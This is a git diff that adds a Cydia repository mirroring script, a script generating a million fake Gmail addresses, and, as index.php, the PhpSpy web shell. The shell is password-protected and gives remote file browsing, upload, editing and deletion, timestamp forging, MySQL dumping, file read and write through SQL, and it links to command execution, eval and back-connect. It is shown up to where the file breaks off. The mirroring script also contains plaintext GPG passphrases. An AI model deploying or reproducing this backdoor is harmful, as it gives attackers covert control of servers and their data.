diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..81aa3bf Binary files /dev/null and b/.DS_Store differ diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..0705d39 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ + +push_att.sh diff --git a/create_email.sh b/create_email.sh new file mode 100644 index 0000000..53a5a9e --- /dev/null +++ b/create_email.sh @@ -0,0 +1,8 @@ +#!/bin/bash +i=1 +while [ $i -le 1000000 ] +do +echo $i@gmail.com >> email.csv +let i=$i+1 + +done diff --git a/get_cydia.sh b/get_cydia.sh new file mode 100755 index 0000000..72be444 --- /dev/null +++ b/get_cydia.sh @@ -0,0 +1,224 @@ +#!/bin/bash + +###################################################### +# +#saurik +###################################################### +#!/bin/bash +cd /www/apt.weiphone.com/cydia/ +mkdir -p saurik +cd saurik +rm -f Packages.bz2 +wget http://apt.saurik.com/dists/tangelo-3.7/main/binary-iphoneos-arm/Packages.bz2 +if [ -f Packages.bz2 ];then + rm -f Packages Packages.gz Release + bzip2 -d Packages.bz2 + bzip2 -zkf Packages + cp -p Packages p + gzip -f Packages + mv -f p Packages + md5=$(md5sum Packages | cut -c -32) + size=$(stat -c %s Packages) + echo " $md5 $size Packages" >> rel + md5=$(md5sum Packages.bz2 | cut -c -32) + size=$(stat -c %s Packages.bz2) + echo " $md5 $size Packages.bz2" >> rel + md5=$(md5sum Packages.gz | cut -c -32) + size=$(stat -c %s Packages.gz) + echo " $md5 $size Packages.gz" >> rel + echo >> rel + cat rl rel > Release + rm -f rel + rm -f Release.gpg + gpg -abs --always-trust --no-tty --batch --passphrase "leonlaiming" -r "HuangRui" -o Release.gpg Release + filename=`grep Filename Packages |awk '{print $2}' | sed ':a;N;s/\n/ /;ba;'` + for name in $filename ; do + dir=`echo $name |awk -F "/" '{print $1}'` + if [ ! -d "$dir" ];then + mkdir $dir + fi + if [ ! -f "$name" ]; then + wget http://apt.saurik.com/$name -O $name + fi + done +fi +#!/bin/bash + +#################################### +#http://apt.bigboss.us.com/repofiles/cydia/dists/stable/main/binary-iphoneos-arm/ +# +#bigboss +#################################### +cd /www/apt.weiphone.com/cydia/ +mkdir bigboss +cd bigboss + +#rm -f Packages.bz2 +killall -9 wget +sleep 2 +wget http://apt.bigboss.us.com/repofiles/cydia/dists/stable/main/binary-iphoneos-arm/Packages.bz2 -O new.bz2 +if [ -f new.bz2 ];then + rm -f Packages Packages.gz Release Packages.bz2 + bzip2 -d new.bz2 + mv new Packages + bzip2 -zkf Packages + cp -p Packages p + gzip -f Packages + mv -f p Packages + md5=$(md5sum Packages | cut -c -32) + size=$(stat -c %s Packages) + echo " $md5 $size Packages" >> rel + md5=$(md5sum Packages.bz2 | cut -c -32) + size=$(stat -c %s Packages.bz2) + echo " $md5 $size Packages.bz2" >> rel + md5=$(md5sum Packages.gz | cut -c -32) + size=$(stat -c %s Packages.gz) + echo " $md5 $size Packages.gz" >> rel + echo >> rel + cat rl rel > Release + rm -f rel + rm -f Release.gpg + gpg -abs --always-trust --no-tty --batch --passphrase "leonlaiming" -r "HuangRui" -o Release.gpg Release +gpg -abs --passphrase "nU5rEbrunute" -r "WeiPhone APT" -o Release.gpg Release + filename=`grep Filename Packages |awk '{print $2}' | sed ':a;N;s/\n/ /;ba;'` + + for name in $filename ; do + dir=`echo $name |awk -F "/" '{print $1}'` + if [ ! -d "$dir" ];then + mkdir $dir + fi + if [ ! -f "$name" ]; then + wget http://apt.bigboss.us.com/repofiles/cydia/$name -O $name + fi + done +fi + +################################################### +#ispaziorepository +################################################### +cd /www/apt.weiphone.com/cydia/ +mkdir ispazio +cd ispazio +rm -f Packages.bz2 +wget http://ispaziorepository.com/Packages.bz2 +if [ -f Packages.bz2 ];then + rm -f Packages Packages.gz Release + bzip2 -d Packages.bz2 + bzip2 -zkf Packages + cp -p Packages p + gzip -f Packages + mv -f p Packages + md5=$(md5sum Packages | cut -c -32) + size=$(stat -c %s Packages) + echo " $md5 $size Packages" >> rel + md5=$(md5sum Packages.bz2 | cut -c -32) + size=$(stat -c %s Packages.bz2) + echo " $md5 $size Packages.bz2" >> rel + md5=$(md5sum Packages.gz | cut -c -32) + size=$(stat -c %s Packages.gz) + echo " $md5 $size Packages.gz" >> rel + echo >> rel + cat rl rel > Release + rm -f rel + rm -f Release.gpg +# gpg -abs --always-trust --no-tty --batch --passphrase "leonlaiming" -r "HuangRui" -o Release.gpg Release +gpg -abs --passphrase "nU5rEbrunute" -r "WeiPhone APT" -o Release.gpg Release + filename=`grep Filename Packages |awk '{print $2}' | sed ':a;N;s/\n/ /;ba;'` + + for name in $filename ; do + dir=`echo $name |awk -F "/" '{print $1}'` + if [ ! -d "$dir" ];then + mkdir $dir + fi + if [ ! -f "$name" ]; then + wget -c http://ispaziorepository.com/$name -O $name + fi + done +fi + +################################################## +# zodttd +################################################## +cd /www/apt.weiphone.com/cydia/ +mkdir zodttd +cd zodttd +rm -f Packages.bz2 +wget http://cydia.zodttd.com/repo/cydia/dists/stable/main/binary-iphoneos-arm/Packages.bz2 +if [ -f Packages.bz2 ];then + rm -f Packages Packages.gz Release + bzip2 -d Packages.bz2 + bzip2 -zkf Packages + cp -p Packages p + gzip -f Packages + mv -f p Packages + md5=$(md5sum Packages | cut -c -32) + size=$(stat -c %s Packages) + echo " $md5 $size Packages" >> rel + md5=$(md5sum Packages.bz2 | cut -c -32) + size=$(stat -c %s Packages.bz2) + echo " $md5 $size Packages.bz2" >> rel + md5=$(md5sum Packages.gz | cut -c -32) + size=$(stat -c %s Packages.gz) + echo " $md5 $size Packages.gz" >> rel + echo >> rel + cat rl rel > Release + rm -f rel + rm -f Release.gpg +# gpg -abs --always-trust --no-tty --batch --passphrase "leonlaiming" -r "HuangRui" -o Release.gpg Release +gpg -abs --passphrase "nU5rEbrunute" -r "WeiPhone APT" -o Release.gpg Release + filename=`grep Filename Packages |awk '{print $2}' | sed ':a;N;s/\n/ /;ba;' + for name in $filename ; do + dir=`echo $name |awk -F "/" '{print $1}'` + if [ ! -d "$dir" ];then + mkdir $dir + fi + if [ ! -f "$name" ]; then + wget http://cydia.zodttd.com/repo/cydia/$name -O $name + fi + done +fi + +###################################################### +# +#modmyi +###################################################### +cd /www/apt.weiphone.com/cydia/ +mkdir modmyi +cd modmyi +rm -f Packages.bz2 +wget http://apt.modmyi.com/dists/stable/main/binary-iphoneos-arm/Packages.bz2 +if [ -f Packages.bz2 ];then + rm -f Packages Packages.gz Release + bzip2 -d Packages.bz2 + bzip2 -zkf Packages + cp -p Packages p + gzip -f Packages + mv -f p Packages + md5=$(md5sum Packages | cut -c -32) + size=$(stat -c %s Packages) + echo " $md5 $size Packages" >> rel + md5=$(md5sum Packages.bz2 | cut -c -32) + size=$(stat -c %s Packages.bz2) + echo " $md5 $size Packages.bz2" >> rel + md5=$(md5sum Packages.gz | cut -c -32) + size=$(stat -c %s Packages.gz) + echo " $md5 $size Packages.gz" >> rel + echo >> rel + cat rl rel > Release + rm -f rel + rm -f Release.gpg +# gpg -abs --always-trust --no-tty --batch --passphrase "leonlaiming" -r "HuangRui" -o Release.gpg Release +gpg -abs --passphrase "nU5rEbrunute" -r "WeiPhone APT" -o Release.gpg Release + filename=`grep Filename Packages |awk '{print $2}' | sed ':a;N;s/\n/ /;ba;'` + for name in $filename ; do + dir=`echo $name |awk -F "/" '{print $1}'` + if [ ! -d "$dir" ];then + mkdir $dir + fi + if [ ! -f "$name" ]; then + mkdir -p $name + rm -Rfv $name + wget http://apt.modmyi.com/$name -O $name + fi + done +fi \ No newline at end of file diff --git a/index.php b/index.php new file mode 100644 index 0000000..f7ac257 --- /dev/null +++ b/index.php @@ -0,0 +1,1968 @@ + $_value) { + if ($_key{0} != '_') { + if (IS_GPC) { + $_value = s_array($_value); + } + $$_key = $_value; + } + } +} + +/*===================== 程序配置 =====================*/ +$admin = array(); +// 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效 +$admin['check'] = true; +// 如果需要密码验证,请修改登陆密码 +$admin['pass'] = 'angel'; + +//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认 +// cookie 前缀 +$admin['cookiepre'] = ''; +// cookie 作用域 +$admin['cookiedomain'] = ''; +// cookie 作用路径 +$admin['cookiepath'] = '/'; +// cookie 有效期 +$admin['cookielife'] = 86400; +/*===================== 配置结束 =====================*/ + +if ($charset == 'utf8') { + header("content-Type: text/html; charset=utf-8"); +} elseif ($charset == 'big5') { + header("content-Type: text/html; charset=big5"); +} elseif ($charset == 'gbk') { + header("content-Type: text/html; charset=gbk"); +} elseif ($charset == 'latin1') { + header("content-Type: text/html; charset=iso-8859-2"); +} + +$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; +$timestamp = time(); + +/*===================== 身份验证 =====================*/ +if ($action == "logout") { + scookie('phpspypass', '', -86400 * 365); + p(''); + p('Success'); + exit; +} +if($admin['check']) { + if ($doing == 'login') { + if ($admin['pass'] == $password) { + scookie('phpspypass', $password); + p(''); + p('Success'); + exit; + } + } + if ($_COOKIE['phpspypass']) { + if ($_COOKIE['phpspypass'] != $admin['pass']) { + loginpage(); + } + } else { + loginpage(); + } +} +/*===================== 验证结束 =====================*/ + +$errmsg = ''; + +// 查看PHPINFO +if ($action == 'phpinfo') { + if (IS_PHPINFO) { + phpinfo(); + } else { + $errmsg = 'phpinfo() function has non-permissible'; + } +} + +// 下载文件 +if ($doing == 'downfile' && $thefile) { + if (!@file_exists($thefile)) { + $errmsg = 'The file you want Downloadable was nonexistent'; + } else { + $fileinfo = pathinfo($thefile); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header('Content-Length: '.filesize($thefile)); + @readfile($thefile); + exit; + } +} + +// 直接下载备份数据库 +if ($doing == 'backupmysql' && !$saveasfile) { + dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + $table = array_flip($table); + $result = q("SHOW tables"); + if (!$result) p('

'.mysql_error().'

'); + $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql'); + header('Content-type: application/unknown'); + header('Content-Disposition: attachment; filename='.$filename); + $mysqldata = ''; + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + $mysqldata .= sqldumptable($currow[0]); + } + } + mysql_close(); + exit; +} + +// 通过MYSQL下载文件 +if($doing=='mysqldown'){ + if (!$dbname) { + $errmsg = 'Please input dbname'; + } else { + dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + if (!file_exists($mysqldlfile)) { + $errmsg = 'The file you want Downloadable was nonexistent'; + } else { + $result = q("select load_file('$mysqldlfile');"); + if(!$result){ + q("DROP TABLE IF EXISTS tmp_angel;"); + q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); + //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况 + q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); + $result = q("select content from tmp_angel"); + q("DROP TABLE tmp_angel"); + } + $row = @mysql_fetch_array($result); + if (!$row) { + $errmsg = 'Load file failed '.mysql_error(); + } else { + $fileinfo = pathinfo($mysqldlfile); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header("Accept-Length: ".strlen($row[0])); + echo $row[0]; + exit; + } + } + } +} + +?> + + + +<?php echo str_replace('.','','P.h.p.S.p.y');?> + + + + + + + + + + + +
Ver: 2008 ()
Safe Mode: + Logout | + File Manager | + MySQL Manager | + MySQL Upload & Download | + Execute Command | + PHP Variable | + Eval PHP Code + | Back Connect +
+'); + + p(''); + + //查看所有可写文件和目录 + $dirdata=array(); + $filedata=array(); + + if ($view_writable) { + $dirdata = GetList($nowpath); + } else { + // 目录列表 + $dirs=@opendir($dir); + while ($file=@readdir($dirs)) { + $filepath=$nowpath.$file; + if(@is_dir($filepath)){ + $dirdb['filename']=$file; + $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $dirdb['dirchmod']=getChmod($filepath); + $dirdb['dirperm']=getPerms($filepath); + $dirdb['fileowner']=getUser($filepath); + $dirdb['dirlink']=$nowpath; + $dirdb['server_link']=$filepath; + $dirdb['client_link']=ue($filepath); + $dirdata[]=$dirdb; + } else { + $filedb['filename']=$file; + $filedb['size']=sizecount(@filesize($filepath)); + $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $filedb['filechmod']=getChmod($filepath); + $filedb['fileperm']=getPerms($filepath); + $filedb['fileowner']=getUser($filepath); + $filedb['dirlink']=$nowpath; + $filedb['server_link']=$filepath; + $filedb['client_link']=ue($filepath); + $filedata[]=$filedb; + } + }// while + unset($dirdb); + unset($filedb); + @closedir($dirs); + } + @sort($dirdata); + @sort($filedata); + $dir_i = '0'; + foreach($dirdata as $key => $dirdb){ + if($dirdb['filename']!='..' && $dirdb['filename']!='.') { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $dir_i++; + } else { + if($dirdb['filename']=='..') { + p(''); + p(''); + p(''); + } + } + } + + p(''); + p(''); + makehide('action','file'); + makehide('thefile'); + makehide('doing'); + makehide('dir',$nowpath); + $file_i = '0'; + foreach($filedata as $key => $filedb){ + if($filedb['filename']!='..' && $filedb['filename']!='.') { + $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']); + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $file_i++; + } + } + p(''); + p('
+'goaction')); +makehide('action'); +formfoot(); + +$errmsg && m($errmsg); + +// 获取当前路径 +!$dir && $dir = '.'; +$nowpath = getPath(SA_ROOT, $dir); +if (substr($dir, -1) != '/') { + $dir = $dir.'/'; +} +$uedir = ue($dir); + +if (!$action || $action == 'file') { + + // 判断读写情况 + $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable'; + + // 删除目录 + if ($doing == 'deldir' && $thefile) { + if (!file_exists($thefile)) { + m($thefile.' directory does not exist'); + } else { + m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed')); + } + } + + // 创建目录 + elseif ($newdirname) { + $mkdirs = $nowpath.$newdirname; + if (file_exists($mkdirs)) { + m('Directory has already existed'); + } else { + m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed')); + @chmod($mkdirs,0777); + } + } + + // 上传文件 + elseif ($doupfile) { + m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed')); + } + + // 编辑文件 + elseif ($editfilename && $filecontent) { + $fp = @fopen($editfilename,'w'); + m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed')); + @fclose($fp); + } + + // 编辑文件属性 + elseif ($pfile && $newperm) { + if (!file_exists($pfile)) { + m('The original file does not exist'); + } else { + $newperm = base_convert($newperm,8,10); + m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed')); + } + } + + // 改名 + elseif ($oldname && $newfilename) { + $nname = $nowpath.$newfilename; + if (file_exists($nname) || !file_exists($oldname)) { + m($nname.' has already existed or original file does not exist'); + } else { + m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed')); + } + } + + // 复制文件 + elseif ($sname && $tofile) { + if (file_exists($tofile) || !file_exists($sname)) { + m('The goal file has already existed or original file does not exist'); + } else { + m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed')); + } + } + + // 克隆时间 + elseif ($curfile && $tarfile) { + if (!@file_exists($curfile) || !@file_exists($tarfile)) { + m('The goal file has already existed or original file does not exist'); + } else { + $time = @filemtime($tarfile); + m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); + } + } + + // 自定义时间 + elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { + if (!@file_exists($curfile)) { + m(basename($curfile).' does not exist'); + } else { + $time = strtotime("$year-$month-$day $hour:$minute:$second"); + m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); + } + } + + // 打包下载 + elseif($doing == 'downrar') { + if ($dl) { + $dfiles=''; + foreach ($dl as $filepath => $value) { + $dfiles.=$filepath.','; + } + $dfiles=substr($dfiles,0,strlen($dfiles)-1); + $dl=explode(',',$dfiles); + $zip=new PHPZip($dl); + $code=$zip->out; + header('Content-type: application/octet-stream'); + header('Accept-Ranges: bytes'); + header('Accept-Length: '.strlen($code)); + header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz'); + echo $code; + exit; + } else { + m('Please select file(s)'); + } + } + + // 批量删除文件 + elseif($doing == 'delfiles') { + if ($dl) { + $dfiles=''; + $succ = $fail = 0; + foreach ($dl as $filepath => $value) { + if (@unlink($filepath)) { + $succ++; + } else { + $fail++; + } + } + m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail); + } else { + m('Please select file(s)'); + } + } + + //操作完毕 + formhead(array('name'=>'createdir')); + makehide('newdirname'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'fileperm')); + makehide('newperm'); + makehide('pfile'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'copyfile')); + makehide('sname'); + makehide('tofile'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'rename')); + makehide('oldname'); + makehide('newfilename'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'fileopform')); + makehide('action'); + makehide('opfile'); + makehide('dir'); + formfoot(); + + $free = @disk_free_space($nowpath); + !$free && $free = 0; + $all = @disk_total_space($nowpath); + !$all && $all = 0; + $used = $all-$free; + $used_percent = @round(100/($all/$free),2); + p('

File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)

'); + +?> + + + + + + + + +
Current Directory (, )
+ +
'); + p('
'); + p('WebRoot'); + if ($view_writable) { + p(' | View All'); + } else { + p(' | View Writable'); + } + p(' | Create Directory | Create File'); + if (IS_WIN && IS_COM) { + $obj = new COM('scripting.filesystemobject'); + if ($obj && is_object($obj)) { + $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); + foreach($obj->Drives as $drive) { + if ($drive->DriveType == 2) { + p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); + } else { + p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); + } + } + } + } + + p('
 FilenameLast modifiedSizeChmod / PermsAction
0'.$dirdb['filename'].''.$dirdb['mtime'].'--'); + p(''.$dirdb['dirchmod'].' / '); + p(''.$dirdb['dirperm'].''.$dirdb['fileowner'].'Del | Rename
=Parent Directory
'.$filedb['filename'].''.$filedb['mtime'].''.$filedb['size'].''); + p(''.$filedb['filechmod'].' / '); + p(''.$filedb['fileperm'].''.$filedb['fileowner'].''); + p('Down | '); + p('Copy | '); + p('Edit | '); + p('Rename | '); + p('Time'); + p('
Packing download selected - Delete selected'.$dir_i.' directories / '.$file_i.' files
'); +}// end dir + +elseif ($action == 'sqlfile') { + if($doing=="mysqlupload"){ + $file = $_FILES['uploadfile']; + $filename = $file['tmp_name']; + if (file_exists($savepath)) { + m('The goal file has already existed'); + } else { + if(!$filename) { + m('Please choose a file'); + } else { + $fp=@fopen($filename,'r'); + $contents=@fread($fp, filesize($filename)); + @fclose($fp); + $contents = bin2hex($contents); + if(!$upname) $upname = $file['name']; + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';"); + m($result ? 'Upload success' : 'Upload has failed: '.mysql_error()); + } + } + } +?> + +'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1'); + formhead(array('title'=>'MYSQL Information','name'=>'dbinfo')); + makehide('action','sqlfile'); + p('

'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p(':'); + makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + p('DBName:'); + makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); + p('DBCharset:'); + makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); + p('

'); + formfoot(); + p('
'); + p('

Upload file

'); + p('

This operation the DB user must has FILE privilege

'); + p('

Save path(fullpath): Choose a file: Upload

'); + p('

Download file

'); + p('

File: Download

'); + makehide('dbhost'); + makehide('dbport'); + makehide('dbuser'); + makehide('dbpass'); + makehide('dbname'); + makehide('charset'); + makehide('doing'); + makehide('action','sqlfile'); + p('
'); +} + +elseif ($action == 'sqladmin') { + !$dbhost && $dbhost = 'localhost'; + !$dbuser && $dbuser = 'root'; + !$dbport && $dbport = '3306'; + $dbform = ''; + if(isset($dbhost)){ + $dbform .= "\n"; + } + if(isset($dbuser)) { + $dbform .= "\n"; + } + if(isset($dbpass)) { + $dbform .= "\n"; + } + if(isset($dbport)) { + $dbform .= "\n"; + } + if(isset($dbname)) { + $dbform .= "\n"; + } + if(isset($charset)) { + $dbform .= "\n"; + } + + if ($doing == 'backupmysql' && $saveasfile) { + if (!$table) { + m('Please choose the table'); + } else { + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + $table = array_flip($table); + $fp = @fopen($path,'w'); + if ($fp) { + $result = q('SHOW tables'); + if (!$result) p('

'.mysql_error().'

'); + $mysqldata = ''; + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + sqldumptable($currow[0], $fp); + } + } + fclose($fp); + $fileurl = str_replace(SA_ROOT,'',$path); + m('Database has success backup to '.$path.''); + mysql_close(); + } else { + m('Backup failed'); + } + } + } + if ($insert && $insertsql) { + $keystr = $valstr = $tmp = ''; + foreach($insertsql as $key => $val) { + if ($val) { + $keystr .= $tmp.$key; + $valstr .= $tmp."'".addslashes($val)."'"; + $tmp = ','; + } + } + if ($keystr && $valstr) { + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error()); + } + } + if ($update && $insertsql && $base64) { + $valstr = $tmp = ''; + foreach($insertsql as $key => $val) { + $valstr .= $tmp.$key."='".addslashes($val)."'"; + $tmp = ','; + } + if ($valstr) { + $where = base64_decode($base64); + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error()); + } + } + if ($doing == 'del' && $base64) { + $where = base64_decode($base64); + $delete_sql = "DELETE FROM $tablename WHERE $where"; + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error()); + } + + if ($tablename && $doing == 'drop') { + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + if (q("DROP TABLE $tablename")) { + m('Drop table of success'); + $tablename = ''; + } else { + m(mysql_error()); + } + } + + $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1'); + + formhead(array('title'=>'MYSQL Manager')); + makehide('action','sqladmin'); + p('

'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p(':'); + makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + p('DBCharset:'); + makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); + makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); +?> + +'recordlist')); + makehide('doing'); + makehide('action','sqladmin'); + makehide('base64'); + makehide('tablename'); + p($dbform); + formfoot(); + + //选定数据库 + formhead(array('name'=>'setdbname')); + makehide('action','sqladmin'); + p($dbform); + if (!$dbname) { + makehide('dbname'); + } + formfoot(); + + //选定表 + formhead(array('name'=>'settable')); + makehide('action','sqladmin'); + p($dbform); + makehide('tablename'); + makehide('page',$page); + makehide('doing'); + formfoot(); + + $cachetables = array(); + $pagenum = 30; + $page = intval($page); + if($page) { + $start_limit = ($page - 1) * $pagenum; + } else { + $start_limit = 0; + $page = 1; + } + if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { + dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + //获取数据库信息 + $mysqlver = mysql_get_server_info(); + p('

MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'

'); + $highver = $mysqlver > '4.1' ? 1 : 0; + + //获取数据库 + $query = q("SHOW DATABASES"); + $dbs = array(); + $dbs[] = '-- Select a database --'; + while($db = mysql_fetch_array($query)) { + $dbs[$db['Database']] = $db['Database']; + } + makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); + $tabledb = array(); + if ($dbname) { + p('

'); + p('Current dababase: '.$dbname.''); + if ($tablename) { + p(' | Current Table: '.$tablename.' [ Insert | Structure | Drop ]'); + } + p('

'); + mysql_select_db($dbname); + + $getnumsql = ''; + $runquery = 0; + if ($sql_query) { + $runquery = 1; + } + $allowedit = 0; + if ($tablename && !$sql_query) { + $sql_query = "SELECT * FROM $tablename"; + $getnumsql = $sql_query; + $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; + $allowedit = 1; + } + p('
'); + p('

Run SQL query/queries on database '.$dbname.':

'); + makehide('tablename', $tablename); + makehide('action','sqladmin'); + p($dbform); + p('
'); + if ($tablename || ($runquery && $sql_query)) { + if ($doing == 'structure') { + $result = q("SHOW COLUMNS FROM $tablename"); + $rowdb = array(); + while($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + foreach ($rowdb as $row) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + } + tbfoot(); + } elseif ($doing == 'insert' || $doing == 'edit') { + $result = q('SHOW COLUMNS FROM '.$tablename); + while ($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + $rs = array(); + if ($doing == 'insert') { + p('

Insert new line in '.$tablename.' table »

'); + } else { + p('

Update record in '.$tablename.' table »

'); + $where = base64_decode($base64); + $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1"); + $rs = mysql_fetch_array($result); + } + p(''); + p($dbform); + makehide('action','sqladmin'); + makehide('tablename',$tablename); + p('
FieldTypeNullKeyDefaultExtra
'.$row['Field'].''.$row['Type'].''.$row['Null'].' '.$row['Key'].' '.$row['Default'].' '.$row['Extra'].' 
'); + foreach ($rowdb as $row) { + if ($rs[$row['Field']]) { + $value = htmlspecialchars($rs[$row['Field']]); + } else { + $value = ''; + } + $thisbg = bg(); + p(''); + p(''); + } + if ($doing == 'insert') { + p(''); + } else { + p(''); + makehide('base64', $base64); + } + p('
'.$row['Field'].'
'.$row['Type'].'
'); + } else { + $querys = @explode(';',$sql_query); + foreach($querys as $num=>$query) { + if ($query) { + p("

Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."

"); + switch(qy($query)) + { + case 0: + p('

Error : '.mysql_error().'

'); + break; + case 1: + if (strtolower(substr($query,0,13)) == 'select * from') { + $allowedit = 1; + } + if ($getnumsql) { + $tatol = mysql_num_rows(q($getnumsql)); + $multipage = multi($tatol, $pagenum, $page, $tablename); + } + if (!$tablename) { + $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query))); + $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); + preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); + $tablename = $matches[1][0]; + } + $result = q($query); + p($multipage); + p(''); + p(''); + if ($allowedit) p(''); + $fieldnum = @mysql_num_fields($result); + for($i=0;$i<$fieldnum;$i++){ + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + p(""); + } + p(''); + while($mn = @mysql_fetch_assoc($result)){ + $thisbg = bg(); + p(''); + $where = $tmp = $b1 = ''; + foreach($mn as $key=>$inside){ + if ($inside) { + $where .= $tmp.$key."='".addslashes($inside)."'"; + $tmp = ' AND '; + } + $b1 .= ''; + } + $where = base64_encode($where); + if ($allowedit) p(''); + p($b1); + p(''); + unset($b1); + } + tbfoot(); + p($multipage); + break; + case 2: + $ar = mysql_affected_rows(); + p('

affected rows : '.$ar.'

'); + break; + } + } + } + } + } else { + $query = q("SHOW TABLE STATUS"); + $table_num = $table_rows = $data_size = 0; + $tabledb = array(); + while($table = mysql_fetch_array($query)) { + $data_size = $data_size + $table['Data_length']; + $table_rows = $table_rows + $table['Rows']; + $table['Data_length'] = sizecount($table['Data_length']); + $table_num++; + $tabledb[] = $table; + } + $data_size = sizecount($data_size); + unset($table); + p('
Action$name
$type($len)
'.html_clean($inside).' Edit | Del
